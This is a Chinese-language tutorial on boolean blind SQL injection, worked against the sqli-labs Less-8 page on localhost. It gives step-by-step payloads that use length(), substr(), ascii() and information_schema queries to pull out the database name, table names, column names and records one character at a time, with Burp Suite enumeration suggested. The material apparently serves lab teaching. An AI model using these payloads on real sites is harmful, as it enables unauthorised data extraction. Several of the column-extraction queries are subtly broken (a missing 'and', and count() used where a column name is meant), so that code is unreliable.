一.基本概念
盲注就是在SQL注入过程中,SQL语句执行后,查询到的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。而布尔盲注就是SQL语句执行后,页面不返回具体数据,数据库只返回0或者1(真or假)。
-
布尔盲注的特性:在页面中,如果正确执行了用户构造的 SQL 语句,则返回一种页面,如果 SQL 语句执行错误,则执行另一种页面。基于两种页面,来判断 SQL 语句正确与否,达到获取数据的目的。
-
正确的页面:
-
查询不到的页面:
-
-
布尔盲注的基本流程:
- 判断是否存在注入
- 获取数据库长度
- 逐字猜解数据库名
- 猜解表名数量
- 猜解某个表名长度
- 逐字猜解表名
- 猜解列名数量
- 猜解某个列名长度
- 逐字猜解列名
- 判断数据数量
- 猜解某条数据长度
- 逐位猜解数据
二.攻击过程
1.判断是否存在注入
-
正常查询,返回True(语句执行成功)或者返回False(语句执行成功没有查询到内容)
-
输入引号进行看页面变化,页面返回False,可能存在漏洞,也可能没有查询到内容。
-
利用and进行判断 判断注入类型
-
1 and 1=1和1 and 1=2
PS:如果执行结果不一样,那就是数字型注入。
-
1’ and 1=1# 和 1’ and 1=2#
PS:如果执行结果不一样,那就是字符型注入。
-
2.获取数据库长度
因为无法通过页面数据回显获取数据,所以只能靠判断对错的方式来获取数据,可以使用MySQL中内置的函数获取长度。
-
length() 是一个用来获取字符串长度的内置函数。
-
char_length():在mysql内置函数里面查看字符串长度的还有一个函数是char_length()。
-
区别:
-
length():单位是字节,utf8编码下,一个汉字三个字节,一个数字或字母一个字节。gbk编码下,一个汉字两个字节,一个数字或字母一个字节。
- 示例:select length(database());
-
char_length():单位为字符,不管汉字还是数字或者是字母都算是一个字符。
- 示例:select char_length(database());
-
判断正确的数据库长度
-
语句:length(database())=8;
- 当左边等于右边的时候,是正确的则返回(真)1
- 当左边不等于右边的时候,是错误的则返回(假)0
-
PS:由此可以拿到数据库的长度。
-
如果需要在数据库管理软件(navicat)中使用需要加select
- 比如:select length(database())=8;
3.获取数据库名
-
截取字符串:substr(string, start, length)
- string:源字符串
- start:开始位置(mysql中的start从1开始)
- length:步长
-
使用示例:http://127.0.0.1/sqli/Less-8/?id=1' and substr(database(),1,1)='s'%23
-
拿到数据库长度后,从1到8依次截取然后判断是否等于右边的字符。
-
正确:有回显页面
-
错误:无回显页面
-
-
-
数据库命名规则:采用26个英文字母(区分大小写)和0-9的自然数(经常不需要)加上下划线'_'组成,命名简洁明确,多个单词用下划线'_'分隔。
-
PS:除了以上方法外,还可以把要猜解的内容转换为ascii码,然后使用ascii函数。
-
ascii() :把字符转换成ascii码值。
- http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))=115%23
- ASCII码对照表:ASCII码表,ASCII码一览表,ASCII码对照表完整版-ASCII码中文站
- 为了避免有些人不按照命名规则命名,可以使用Burp Suite对ASCII码值33到126进行遍历枚举。
-
4.获取数据库表
由于无法看到有多少个表,为了避免无效查询,所以可以先获取表的数量,可以使count()函数进行获取。
- count():统计数据表中包含的记录行的总数,或根据查询结果返回列中包含的数据行
-
获取并判断表的数量
(select count(table_name) from information_schema.tables where table_schema="security")=4%23
- security:数据库名
-
获取第一个表名
select table_name from information_schema.tables where table_schema=database() limit 0,1
- limit 0,1:从第0行(第一个表名)开始,后面的参数为要输出多少行
-
判断第一个表名的长度
length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6%23
- limit 0,1:只输出第一个表名
- 同理 --> limit 1,1:只输出第二个表名
-
将第一个表名截取第一个字符转为ASCII码并判断是否相等
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101%23
- 最后将正确的ASCII码对照ASCII表转为字符,即可获得表名。
5.获取表中的字段
-
判断表中字段的数量
(select count(column_name) from information_schema.columns where table_schema=database() table_name="emails")=2%23
-
判断第一个字段的长度
length((select count(column_name) from information_schema.columns where table_schema=database() table_name="emails" limit 0,1))=2%23
-
判断第一个字段的第一个字符的ASCII码的值
ascii(substr((select count(column_name) from information_schema.columns where table_schema=database() table_name="emails" limit 0,1),1,1))=100%23
- PS:可通过Burp Suite遍历枚举,再将ASCII码值转换成字符即可获得完整字段。
6.获取字段中的记录
-
获取指定表名中指定字段的记录(内容)
ascii(substr((select group_concat(id) from emails),1,1))=49%23
-
语句解释:将输出的内容截取第一个字符转换成ASCII码值,并进行判断是否与指定的值相等。
- group_concat(id):将id字段的内容全部输出在一行上以逗号','分隔。
-
PS:可通过Burp Suite进行遍历枚举,再将ASCII码值转换成字符即可获得id字段下的所有内容。
-